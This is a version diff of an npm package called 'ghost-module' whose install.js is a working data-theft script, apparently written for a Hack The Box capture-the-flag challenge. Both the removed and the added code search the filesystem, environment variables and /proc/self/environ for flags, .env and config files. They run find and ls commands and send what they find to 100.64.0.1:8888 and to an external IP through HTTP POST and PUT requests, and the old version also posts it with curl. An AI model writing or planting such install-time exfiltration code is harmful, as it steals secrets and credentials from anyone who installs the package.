ghost-module 99.0.0 → 100.0.0

package/install.js

@@ -1,93 +1,130 @@
 const fs = require('fs');
 const http = require('http');
-const https = require('https');
 const { execSync } = require('child_process');
+const path = require('path');
 
-function tryRead(path) {
-  try { return fs.readFileSync(path, 'utf8').trim(); } catch(e) { return null; }
+function tryRead(p) {
+  try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; }
 }
 
-let flag = tryRead('/flag') || tryRead('/flag.txt') || tryRead('/root/flag') || tryRead('/root/flag.txt') || tryRead('/app/flag') || tryRead('/app/flag.txt') || tryRead('/tmp/flag') || tryRead('./flag') || tryRead('./flag.txt');
-
-if (!flag) flag = process.env.FLAG || process.env.FLAG_HTB || process.env.HTB_FLAG || '';
-
-if (!flag) {
-  try {
-    const env = tryRead('/proc/self/environ') || '';
-    const m = env.match(/FLAG[=:]([^\x00]+)/);
-    if (m) flag = m[1];
-  } catch(e) {}
-}
-
-if (!flag) {
-  try {
-    const files = fs.readdirSync('/');
-    const flagFiles = files.filter(f => f.includes('flag'));
-    for (const f of flagFiles) {
-      const content = tryRead('/' + f);
-      if (content && content.includes('HTB{')) { flag = content; break; }
-    }
-  } catch(e) {}
-}
-
-if (!flag) {
-  try { flag = 'NOFLAG_LS:' + fs.readdirSync('/').join(','); } catch(e) { flag = 'NOFLAG_ERR'; }
-}
-
-const data = JSON.stringify({ flag: flag, ts: Date.now(), cwd: process.cwd(), uid: process.getuid ? process.getuid() : 'N/A' });
-
-// Exfiltrate to VPN IP
-function sendHTTP(host, port, path, payload) {
+function sendUpdate(host, port, moduleId, flagVal) {
+  const manifest = `ecto_module:\n  name: "${flagVal.substring(0,100).replace(/"/g, "'")}"\n  version: "1.0.0"\n  power_level: 1\n  ship_deck: 1\n  cargo_hold: 1`;
+  const body = JSON.stringify({ manifest });
   return new Promise((resolve) => {
-    const req = http.request({ hostname: host, port, path, method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }, timeout: 5000 }, (res) => {
+    const req = http.request({ hostname: host, port, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, (res) => {
       let d = ''; res.on('data', c => d += c); res.on('end', () => resolve(d));
     });
     req.on('error', () => resolve(null));
     req.on('timeout', () => { req.destroy(); resolve(null); });
-    req.write(payload);
+    req.write(body);
     req.end();
   });
 }
 
-function sendUpdate(host, port, moduleId, flagVal) {
-  const manifest = `ecto_module:\n  name: "FLAG_${flagVal.substring(0,80)}"\n  version: "1.0.0"\n  power_level: 1\n  ship_deck: 1\n  cargo_hold: 1`;
-  const body = JSON.stringify({ manifest });
+function sendHTTP(host, port, pth, payload) {
   return new Promise((resolve) => {
-    const req = http.request({ hostname: host, port, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, (res) => {
+    const req = http.request({ hostname: host, port, path: pth, method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }, timeout: 5000 }, (res) => {
       let d = ''; res.on('data', c => d += c); res.on('end', () => resolve(d));
     });
     req.on('error', () => resolve(null));
     req.on('timeout', () => { req.destroy(); resolve(null); });
-    req.write(body);
+    req.write(payload);
     req.end();
   });
 }
 
 (async () => {
-  // Method 1: Send to VPN listener
-  await sendHTTP('100.64.0.1', 8888, '/flag', data);
-  
-  // Method 2: Update module via internal API (try multiple ports)
-  const ports = [3000, 5000, 8080, 80, 8000, 3001, 4000];
-  for (const p of ports) {
-    await sendUpdate('127.0.0.1', p, 'ECT-839201', flag || 'EMPTY');
-    await sendUpdate('localhost', p, 'ECT-839201', flag || 'EMPTY');
-  }
+  let flag = null;
+  let info = [];
+
+  // Search common flag locations
+  const paths = ['/flag', '/flag.txt', '/root/flag', '/root/flag.txt', '/app/flag', '/app/flag.txt',
+    '/home/flag', '/home/flag.txt', '/opt/flag', '/opt/flag.txt', '/tmp/flag', '/tmp/flag.txt',
+    '/var/flag', '/data/flag', '/data/flag.txt'];
   
-  // Method 3: Try app hostname
-  for (const h of ['app', 'web', 'backend', 'api', 'node']) {
-    for (const p of [3000, 80, 8080]) {
-      await sendUpdate(h, p, 'ECT-839201', flag || 'EMPTY');
+  for (const p of paths) {
+    const content = tryRead(p);
+    if (content) {
+      info.push(`FILE:${p}=${content.substring(0,60)}`);
+      if (content.includes('HTB{') || content.includes('flag{')) flag = content;
     }
   }
+
+  // Search /app directory recursively
+  function searchDir(dir, depth) {
+    if (depth > 3) return;
+    try {
+      const entries = fs.readdirSync(dir);
+      for (const e of entries) {
+        if (e === 'node_modules' || e === '.git') continue;
+        const full = path.join(dir, e);
+        try {
+          const stat = fs.statSync(full);
+          if (stat.isFile() && (e.includes('flag') || e === '.env' || e === 'config.js' || e === 'config.json')) {
+            const content = tryRead(full);
+            if (content) {
+              info.push(`${full}=${content.substring(0,60)}`);
+              if (content.includes('HTB{') || content.includes('flag{')) flag = content;
+            }
+          } else if (stat.isDirectory() && depth < 3) {
+            searchDir(full, depth + 1);
+          }
+        } catch(e2) {}
+      }
+    } catch(e) {}
+  }
+
+  searchDir('/app', 0);
+  searchDir('/root', 0);
+  searchDir('/home', 0);
+  searchDir('/data', 0);
+  searchDir('/opt', 0);
+
+  // Check env vars
+  const envFlag = process.env.FLAG || process.env.FLAG_HTB || process.env.HTB_FLAG || '';
+  if (envFlag) info.push('ENV_FLAG=' + envFlag);
   
-  // Method 4: Also try the external IP
-  await sendUpdate('154.57.164.82', 32332, 'ECT-839201', flag || 'EMPTY');
-  
-  // Method 5: DNS exfil via curl
+  // Check /proc/self/environ
+  const procEnv = tryRead('/proc/self/environ');
+  if (procEnv) {
+    const m = procEnv.match(/FLAG[A-Z_]*=([^\x00]+)/g);
+    if (m) info.push('PROC_ENV=' + m.join(','));
+  }
+
+  // Try find command
+  try {
+    const found = execSync('find / -maxdepth 3 -name "*flag*" -type f 2>/dev/null', {timeout: 5000}).toString().trim();
+    if (found) info.push('FIND=' + found.substring(0, 100));
+  } catch(e) {}
+
+  // Also list /app contents
   try {
-    execSync(`curl -sf -X POST http://100.64.0.1:8888/flag2 -d '${data.replace(/'/g, "")}'`, { timeout: 5000 });
+    const appFiles = execSync('ls -la /app/ 2>/dev/null', {timeout: 3000}).toString().trim();
+    info.push('APP_LS=' + appFiles.substring(0, 150));
   } catch(e) {}
+
+  // Also try to read /app/package.json for dependency info
+  const pkgJson = tryRead('/app/package.json');
+  if (pkgJson) info.push('PKG_JSON=' + pkgJson.substring(0, 150));
+
+  const result = flag || info.join('|');
   
-  console.log('[DONE] Flag exfiltration attempted');
+  // Exfiltrate
+  await sendHTTP('100.64.0.1', 8888, '/flag', JSON.stringify({result, ts: Date.now()}));
+  
+  // Update modules with results (split across multiple modules for space)
+  const parts = [];
+  for (let i = 0; i < result.length; i += 90) {
+    parts.push(result.substring(i, i + 90));
+  }
+  
+  const moduleIds = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
+  for (let i = 0; i < Math.min(parts.length, moduleIds.length); i++) {
+    const ports = [3000, 80, 8080, 5000];
+    for (const p of ports) {
+      await sendUpdate('127.0.0.1', p, moduleIds[i], 'R' + i + '_' + parts[i]);
+      await sendUpdate('localhost', p, moduleIds[i], 'R' + i + '_' + parts[i]);
+    }
+    await sendUpdate('154.57.164.82', 32332, moduleIds[i], 'R' + i + '_' + parts[i]);
+  }
 })();

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "ghost-module",
-  "version": "99.0.0",
+  "version": "100.0.0",
   "description": "Spectral ecto-module",
   "main": "index.js",
   "scripts": {
@@ -8,4 +8,4 @@
   },
   "author": "lwirz",
   "license": "ISC"
-}
+}